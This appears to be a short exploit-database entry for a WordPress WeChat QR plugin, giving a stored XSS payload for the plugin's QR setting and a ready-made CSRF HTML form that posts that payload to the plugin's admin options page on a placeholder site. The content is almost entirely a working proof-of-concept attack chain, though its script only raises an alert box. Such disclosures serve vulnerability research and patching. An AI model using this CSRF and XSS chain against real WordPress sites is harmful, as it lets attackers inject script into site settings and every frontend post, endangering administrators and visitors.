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## https://sploitus.com/exploit?id=WPEX-ID:9D48313B-76D7-4252-9B81-2FDD0373561B
Put the following payload in the QR setting: "><script>alert(/XSS/)</script>

The XSS will be triggered in the plugin's setting page, as well as all frontend posts.

via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=upload_wechat_QR" method="POST">
      <input type="hidden" name="wechatQR" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>